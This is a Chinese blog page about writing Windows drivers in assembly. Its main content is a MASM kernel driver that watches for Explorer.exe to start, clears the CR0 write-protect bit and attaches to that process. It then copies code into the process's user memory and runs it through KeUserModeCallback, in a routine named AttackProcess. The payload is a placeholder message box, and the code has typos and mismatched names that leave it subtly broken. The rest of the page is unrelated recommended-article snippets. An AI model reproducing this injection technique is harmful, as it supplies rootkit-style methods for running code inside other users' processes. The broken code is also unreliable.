驱动汇编

汇编写驱动(一)——光速入门 用汇编写windows驱动非常简单,只要有汇编基础和用C写驱动的能力即可。有了这两样基础,我们距离用汇编写驱动,只剩下一层窗户纸,一戳就破。一、准备软件:Radasm        为了快速入门,好的IDE是降低入门难道的有效手段。Radasm是我最为钟爱的一款软件,第一次使用过它,我就果断地将masm32删除了。   RadASM是一款著名的WIN32汇编编辑器,精通win32汇编的人对它应该不会陌生。支持MASM、TASM等多种汇编编译器,提供优秀的IDE,自带一个资源编辑器和一个调试器(OD)。拥有较 阅读详情
386
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                  I N C L U D E   F I L E S                                       
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include //masm32//include//w2k//ntstatus.inc
include //masm32//include//w2k//ntddk.inc
include //masm32//include//w2k//ntoskrnl.inc
includelib //masm32//lib//w2k//ntoskrnl.lib
include //masm32//Macros//Strings.mac
include useful.asm
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                 R E A D O N L Y    D A T A                                       
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.const

CCOUNTED_UNICODE_STRING "////Device////ring3code", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "////DosDevices////ring3code", g_usSymbolicLinkName, 4
Target db "Explorer.exe",0
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              U N I N I T I A L I Z E D  D A T A                                   
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.data?
g_dwImageFileNameOffset DWORD   ?
g_fbNotifyRoutineSet BOOL   ?
szProcessName  CHAR IMAGE_FILE_PATH_LEN dup(?)
notAttack  BOOL    ?
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                         C O D E                                                   
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                   Myproc !!@!! I Just Code For Fan~~~ MayBe Error~~~                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
myproc:
;please using Api Reloc before  Call apiz
;even then u could restore kernel32.dll imagebase to ur code in ring0  bcz i got peb for u ~
;i was just coding something here to test my code can go to ring3~
;if it was call in ring0 it would crash down the system ~ but in ring3 all it would make a msgbox or
; an error for u to know code runs under ring3~      
        invoke MessageBox, hDlg, $CTA0("Sure want to exit?"),      $CTA0("Exit Confirmation"), MB_YESNO + MB_ICONQUESTION + MB_DEFBUTTON1
                        retn
length_myproc =$ - myproc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                   DisableWriteProtect                                             
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DisableWriteProtect proc
Local uAttr:Dword
push eax
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax
mov eax,uAttr
ret
DisableWriteProtect Endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                   EnableWriteProtect                                             
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

EnableWriteProtect proc uOldAttr:dword
push eax;
mov eax, uOldAttr
mov cr0, eax;
pop eax;  
ret 04h
EnableWriteProtect endp


;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                   DispatchCreateClose                                             
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DispatchCreateClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

mov ecx, pIrp
mov (_IRP PTR [ecx]).IoStatus.Status, STATUS_SUCCESS
and (_IRP PTR [ecx]).IoStatus.Information, 0

fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT

mov eax, STATUS_SUCCESS
ret

DispatchCreateClose endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       GetUserPEB                                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; out: eax - *peb
GetUserPEB proc near
assume fs:nothing
push ebx
mov ebx, dword ptr fs:[124h]
mov eax, dword ptr [ebx+134h]  ; gimme KTRAP_FRAME
      ; no ktrap_frame if called from kernel mode
      ; (from non user mode thread)
test eax, eax
jz GetUserPEB_End

mov eax, dword ptr [ebx+44h]
        mov eax, dword ptr [eax+1b0h]  ; peb for non user mode threadz null too
        test eax, eax
GetUserPEB_end:
pop ebx
        retn
GetUserPEB endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       CallToUserMode                                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CallToUserMode proc lpPeb:PVOID, dwAddr:DWORD, dwSize:DWORD
  local kernel_callback_tableb:dword      
  local ecx_on_return:dword
  local edx_on_return:dword
  local base_address:dword
       ; mov ecx_on_retrun,ecx
       ; mov edx_on_retrun,edx      
        mov eax,lpPEB
mov eax, dword ptr [eax+2ch]  ; *KernelCallbackTable
mov kernel_callback_table, eax
and base_address, 0
push PAGE_READWRITE
push MEM_COMMIT or MEM_TOP_DOWN or MEM_RESERVE
lea eax, allocation_size
mov allocation_size, (dwSize+1024)
push eax        
lea eax, base_address
push 0
push eax
push -1
        call NtAllocateVirtualMemory
test eax, eax
        jnz CallToUserMode_End
        mov edx, base_address
        mov edi, edx
        push edi
        push esi
        mov esi, dwAddr; copy the to user-mode
        push dwSize
        pop ecx
        rep movsb
        pop esi
        pop edi
        mov eax, kernel_callback_table
;mov edx, base_address
sub edx, eax
shr edx, 2
lea ecx,ecx_on_return
push ecx
lea eax, edx_on_return
push eax
push 0
lea  eax, edx_on_return
push eax   
;stack start
;where to start code user mode
push edx   
        call KeUserModeCallBack
CallToUserMode_Free_Mem:
push MEM_DECOMMIT
mov eax, allocation_size
push eax
mov eax, base_address
push eax
        push -1
call NtFreeVirtualMemory
CallToUserMode_End:
        leave
ret
CallToUserMode endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       AttackProcess                                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
AttackProcess proc pEpr:PVOID
local oldArr:DWORD
  invoke KeAttachProcess,pEpr
  .if eax == STATUS_SUCCESS
          invoke DisableWriteProtect
          mov oldArr,eax
          invoke GetUserPEB
          jz Attack_End_err:
          invoke CallToUserMode, eax, addr myproc, length_myproc
          invoke EnableWriteProcect,oldArr
          invoke KeDetachProcess
.endif
Attack_End: mov eax, STATUS_SUCCESS
Attack_End_err: ret
AttackProcess endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       NotifyRoutine                                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

NotifyRoutine proc dwParentId:DWORD, dwProcessId:DWORD, bCreate:BOOL ; BOOLEAN

local peProcess:PVOID    ; PEPROCESS
local fbDereference:BOOL
local us:UNICODE_STRING
local as:ANSI_STRING

push eax      ; reserve DWORD on stack
invoke PsLookupProcessByProcessId, dwParentId, esp
pop peProcess     ; -> EPROCESS
.if eax == STATUS_SUCCESS
  mov fbDereference, TRUE  ; PsLookupProcessByProcessId references process object
.else
   invoke PsLookupProcessByProcessId, dwProcessId, esp
   pop peProcess     ; -> EPROCESS
   .if eax == STATUS_SUCCESS
              mov fbDereference, TRUE
          .else
              ret
          .endif
.endif
mov eax, bCreate
invoke GetImageFilePath, peProcess, addr us
.if eax == STATUS_SUCCESS
         lea eax,  szProcessName
                mov as.Buffer,   eax
  mov as.MaximumLength, IMAGE_FILE_PATH_LEN
  and as._Length,   0
  invoke RtlUnicodeStringToAnsiString, addr as, addr us, FALSE
  invoke ExFreePool, us.Buffer
  lea eax,  szProcessName
  invoke __strcmpi, eax, addr Target
  .if eax
      .if notAttacked
               invoke AttackProcess,peProcess
        .if eax == STATUS_SUCCESS
                mov notAttack,FALSE
        .endif
      .endif
  .endif
     
.endif

.if fbDereference
  fastcall ObfDereferenceObject, peProcess
.endif

ret

NotifyRoutine endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                     DispatchControl                                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DispatchControl proc uses esi edi pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP

mov esi, pIrp
assume esi:ptr _IRP

; Initialize to failure.

mov [esi].IoStatus.Status, STATUS_UNSUCCESSFUL
and [esi].IoStatus.Information, 0

IoGetCurrentIrpStackLocation esi
mov edi, eax
assume edi:ptr IO_STACK_LOCATION
mov [esi].IoStatus.Status, STATUS_INVALID_DEVICE_REQUEST
; After IoCompleteRequest returns, the IRP pointer
; is no longer valid and cannot safely be dereferenced.

push [esi].IoStatus.Status

assume edi:nothing
assume esi:nothing

fastcall IofCompleteRequest, esi, IO_NO_INCREMENT

pop eax   ; [esi].IoStatus.Status
ret

DispatchControl endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverUnload                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverUnload proc pDriverObject:PDRIVER_OBJECT

        invoke PsSetCreateProcessNotifyRoutine, NotifyRoutine, TRUE
                        
invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName

mov eax, pDriverObject
invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject

ret

DriverUnload endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                              D I S C A R D A B L E   C O D E                                      
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code INIT

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                    GetImageFileNameOffset                                         
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

GetImageFileNameOffset proc uses esi ebx

; Finds EPROCESS.ImageFileName field offset

; W2K  EPROCESS.ImageFileName = 01FCh
; WXP  EPROCESS.ImageFileName = 0174h
; WNET  EPROCESS.ImageFileName = 0154h

; Instead of hardcoding above offsets we just scan
; the EPROCESS structure of System process one page down.
; It/'s well-known trick.

invoke IoGetCurrentProcess
mov esi, eax

xor ebx, ebx
.while ebx < 1000h   ; one page more than enough.
  ; Case insensitive compare.
  lea eax, [esi+ebx]
  invoke _strnicmp, eax, $CTA0("system"), 6
  .break .if eax == 0
  inc ebx
.endw

.if eax == 0
  ; Found.
  mov eax, ebx
.else
  ; Not found.
  xor eax, eax
.endif

ret

GetImageFileNameOffset endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DriverEntry                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING

local status:NTSTATUS
local pDeviceObject:PDEVICE_OBJECT

mov status, STATUS_DEVICE_CONFIGURATION_ERROR

invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName,     FILE_DEVICE_UNKNOWN, 0, TRUE, addr pDeviceObject
.if eax == STATUS_SUCCESS
  invoke IoCreateSymbolicLink, addr g_usSymbolicLinkName, addr g_usDeviceName
  .if eax == STATUS_SUCCESS
   mov eax, pDriverObject
   assume eax:ptr DRIVER_OBJECT
   mov [eax].MajorFunction[IRP_MJ_CREATE*(sizeof PVOID)],   offset DispatchCreateClose
   mov [eax].MajorFunction[IRP_MJ_CLOSE*(sizeof PVOID)],   offset DispatchCreateClose
   mov [eax].MajorFunction[IRP_MJ_DEVICE_CONTROL*(sizeof PVOID)], offset DispatchControl
   mov [eax].DriverUnload,           offset DriverUnload
   assume eax:nothing
   mov notAttack,FALSE
   and g_fbNotifyRoutineSet, FALSE
                        invoke PsSetCreateProcessNotifyRoutine, NotifyRoutine, FALSE
                        
   invoke GetImageFileNameOffset
   mov g_dwImageFileNameOffset, eax   ; it can be not found and equal to 0, btw
   mov status, STATUS_SUCCESS
  .else
   invoke IoDeleteDevice, pDeviceObject
  .endif
.endif

mov eax, status
ret

DriverEntry endp

6.1、3环程序和0环驱动的通信 驱动设备对象结构体 //Defined in ntddk.h // STRUCT PDEVICE_OBJECT typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _DEVICE_OBJECT { CSHORT Type; USHORT Size; LONG ReferenceCount; //驱动设备对象被引用了多少次 st... 阅读详情

相关推荐

2.汇编LED驱动实验

imx6ull中使用裸机思想点亮一颗LED灯

m0_57852920的博客 810

64位驱动中加入汇编代码

本文介绍如何在驱动程序的C文件中调用ASM文件中导出的汇编函数 引言     Windows驱动程序使用DDK或者IFSDDK(以下简称DDK)中的Build.exe程序对源文件进行编译和链接,操作时只需启动相应的DDK命令行程序,进入待编译的源文件目录,执行Build命令即可得到.sys文件。     Build命令实际上是调用了一个nmake程序,nmake程序随后调用cl.exe和li

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 5911

Win64 驱动内核编程-24.64位驱动里内嵌汇编

64位驱动里内嵌汇编     讲道理64位驱动是不能直接内链汇编的,遇到这种问题,可以考虑直接把机器码拷贝到内存里,然后直接执行。 获得机器码的方式,可以写好代码之后,直接通过vs看反汇编,然后根据地址在看内存内容,再把内存内容复制出来。或者是去我看的资料上的那个作者提供的一个工具: http://www.vbasm.com/thread-5651-1-1.html)直接把汇编编程机器码。

天使也掉毛 2374

编写64位驱动 内敛汇编

在看雪看到的,作为笔记记录下来1.新建一个ASM文件  2.配置选项右键MyDriver4 选择生成定义选择masm右键myAsm 选择属性选择 Microsoft Macro Assembler3.写代码asm代码如下,注意格式驱动代码 加入函数定义void inlinkAsm(); 像正常函数一样调用即可编译...

half_face的博客 1102

汇编 LED驱动 汇编基本语法

对于大部分Cortext-A系列的处理器,上电以后C语言环境还没有准备好,所以第一行程序一定是汇编的。至于多少行,取决于到哪一步可以把C语言环境准备好。 所谓的C语言环境就是保证C语言能够正常运行。 C语言中的函数调用涉及到出栈/入栈就要对堆栈进行操作,涉及到线程保护,所谓的堆栈其实就是一段内存,这段内存比较特殊,由SP指针访问,SP指向栈顶。 保护现场:保护R0~R15寄存器的数据。 SP指向的是栈指针。SP指向栈顶。SP指向内存的一段起始地址。 我们在写驱动时,最常用的就是LDR/STR

我思故我在! 528

驱动开发:实现内核级进程汇编与反汇编

通过使用特定的内核函数和技术,我们可以在内核空间中修改和分析进程的行为。在驱动开发中,实现内核级进程汇编与反汇编是一项重要的任务。这项任务涉及到处理内核级别的代码和数据,因此需要特殊的技术和方法来实现。本文将介绍如何在驱动程序中实现内核级进程的汇编和反汇编,并提供相应的源代码示例。内核级进程反汇编是指在内核空间中对进程进行反汇编操作。下面是一个简单的示例,展示了如何在内核中获取进程的指令地址和指令长度。这是因为在内核中修改进程状态时,需要保证操作的原子性,以防止竞态条件。在上面的代码中,我们使用了。

class_class957的博客 231

驱动开发:内核实现进程汇编与反汇编

简单介绍了如何通过MDL映射的方式实现进程读写操作,本章将通过如上案例实现远程进程反汇编功能,此类功能也是ARK工具中最常见的功能之一,通常此类功能的实现分为两部分,内核部分只负责读写字节集,应用层部分则配合反汇编引擎对字节集进行解码,此处我们将运用。Capstone旨在成为安全社区中二进制分析和反汇编的终极反汇编引擎,该引擎支持多种平台的反汇编,非常推荐使用。首先是实现驱动部分,驱动程序的实现是一成不变的,仅仅只是做一个读写功能即可,完整的代码如下所示;反汇编函数,该函数的解释如下所示;

微软技术分享 2万+

Simulink模块库介绍(一)——信号源模块

Simulink模块库介绍(一)——信号源模块库目录Clock模块Digital Clock模块Band-Limited White Noise模块 目录 simulink模块库中提供了丰富的信号源模块组。逐一介绍,算是对之前做个总结吧 Clock模块 通过时钟模块,输出的时间作为判断呢,如下图,前2s之前为高斯白噪声,后2s为正弦曲线,共计10s。 Digital Clock模块 数字时钟模块主要用于离散系统的计时,sample time表示采用时间,如下图:分别是1s和0.5s的采样时间 Band-

5万+

实验0汇编led驱动

汇编led驱动,正点原子I.MX6ULL Mini板

qaqq55的博客 1553

Cadence 17.2配置CIS数据库报错?手把手解决ODBC驱动位数不匹配问题

本文详细解析了Cadence 17.2配置CIS数据库时常见的ODBC驱动位数不匹配问题,提供了从系统环境检查到分步解决方案的完整指南。重点解决32位应用程序与64位ODBC驱动之间的架构冲突,包含驱动安装、DSN配置及高级排查技巧,帮助电子工程师快速恢复设计环境。

play7的博客 972

ESP8266+Mixly+MIXIO物联网实战:用色盘控制WS2812 RGB灯(附完整代码)

本文详细介绍了如何利用ESP8266微控制器、Mixly图形化编程工具与MIXIO物联网平台,快速构建一个可通过网页色盘远程控制WS2812 RGB智能灯带的实战项目。内容涵盖硬件接线、平台配置、代码编写与调试全流程,旨在帮助物联网爱好者与初学者轻松实现创意灯光应用,掌握智能硬件开发的核心技能。

gin88的博客 262

LCD1602的51汇编驱动

;宏定义 LCDIO EQU P0 ;LCD数据总线连接P0口 RS EQU P2.0 ;Register select 连接P2.0 RW EQU P2.1 ;Read/Write 连接P2.1 E EQU P2.2 ;Enable 连接P2.2 BF EQU P0.7 ORG 0000H AJMP MAIN ORG 0100H MAIN: ACALL LCD_INIT MOV A,...

来颗石川的博客 1128

【COMSOL超材料和超表面仿真设计】

超材料和超表面的设计通常需要自定义材料属性。在COMSOL中,可以通过定义介电常数和磁导率的张量来模拟超材料的特性。对于超表面,通常需要定义表面阻抗或等效电路模型。

weixin_51101456的博客 1673

【原创】为你的驱动挂上外挂 - 嵌入反汇编引擎

标 题: 【原创】为你的驱动挂上外挂 - 嵌入反汇编引擎 作 者: thisIs 时 间: 2011-09-25,22:11:03 链 接: http://bbs.pediy.com/showthread.php?t=140587 首先来看两段IDA中的代码 上面的图是win xp下 NtOpenProcess 中的代码片段 下面的图是win 7下 PsOp

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 3466

AI 自动生成商业计划书:AIGC 如何助力创业者?

在创业的早期阶段,商业计划书(Business Plan)是至关重要的。它不仅用于吸引投资者、明确发展路径,还能帮助团队对业务模式、市场定位和财务预测有清晰认知。然而,撰写一份高质量的商业计划书往往需要投入大量时间和精力。如今,AIGC(AI Generated Content,人工智能生成内容)技术正在改变这一现状。借助 AIGC,创业者可以更快速、高效地创建商业计划书,并通过 AI 进行优化和数据分析。

2401_82808034的博客 3782

APK静态分析(取证角度)——理论部分

APP是指应用程序(Application),是指能够在手机、平板电脑、电脑等移动设备上运行的软件。APP可以帮助用户进行各种功能操作,如社交媒体、游戏、购物、学习、工作等。用户可以通过应用商店或者在线下载安装APP,然后在设备上使用它们。APP的种类非常丰富,能够满足用户不同的需求和兴趣。

currify的博客 3210

DS1302关于51汇编的驱动函数

实现功能: 利用51汇编语言实现驱动DS1302芯片,并将显示的时间显示到显示屏上 说明: 此博客分为两篇: 第一篇:实现LCD驱动和设置DS1302起始计时时间 第二篇:实现从DS1302RAM中取数据并显示在LCD显示屏上 电路图: DS1302原理部分 1. 芯片引脚 X1,X2:接外部时钟 RST:芯片复位端,0–芯片禁止读写, 1–读写使能。当RST由低到高,启动数据传输。 SCLK:上升沿将数据写入DS1302芯片,下降沿读出数据 I/O:数据的传输,双向串行传输 2.芯片读写时序图

来颗石川的博客 3248

Allegro如何改变线宽操作指导

用Allegro做pcb设计的时候,改变走线线宽是非常常用的功能,如下图。线宽目前是12mil,需要把线宽改成15mil。如何改变线宽操作指导。

weixin_54787054的博客 4254

【裸机驱动LED】使用汇编代码驱动LED(二)—— 汇编代码编写篇

【裸机驱动LED】使用汇编代码驱动LED(二)—— 汇编代码编写篇

challenglistic的博客 1071

离散小波变换(概念与应用)

离散小波变换(概念与应用)

weixin_46713695的博客 4415

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

01. 汇编LED驱动实验

I.MX6UL中的寄存器就是RAM类型的,我们用汇编来配置时许哟啊借助寄存器访问指令,一般先要将要配置的值写入到Rx(x=0~12)寄存器中,然后借助存储器访问指令将Rx中的数据写入到I.MX6UL寄存器中,读取也是一样的。** bit16:** 使能迟滞比较器,当IO作为输入功能的时候有效,如果需要对输入波形进行整形就可以使能该位,0表示禁止,1表示使能。所以,当处理完中断后,应该清除中断标志位。此寄存器是边沿选择寄存器,用来设置边沿中断,会覆盖ICR1和ICR2的设置,如果被设置为1,就是双边沿中断。

m0_63667883的博客 875

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

【ARM 裸机】汇编 led 驱动之驱动编写

ARM 裸机,汇编 led 驱动之驱动编写

我的博客 397

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Linux_kernel汇编驱动06

②如果不能用一条指令来实现ADR伪指令的功能,编译器将报错,因为ADR伪指令中的地址基于PC或者基于寄存器的,所以ADR读取到的地址为位置无关的地址。当ADR伪指令中的地址是基于PC时,该地址与ADR伪指令必须在同一代码段中。①在汇编编译器处理源程序时,ADRL伪指令被编译器替换成两条合适的指令,即使一条指 令可以完成该伪指令的功能,编译器也将用两条指令来替换该ADRL伪指令。5、发现有中断/异常产生,开始处理,对于不同的异常,会跳去不同的地址执行程序,在这些地址上,只是一条跳转指令,跳去执行摸个函数。

qq_45882170的博客 843
上一篇: Worm.SnowMood.4096
下一篇: xdoor启动方式
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值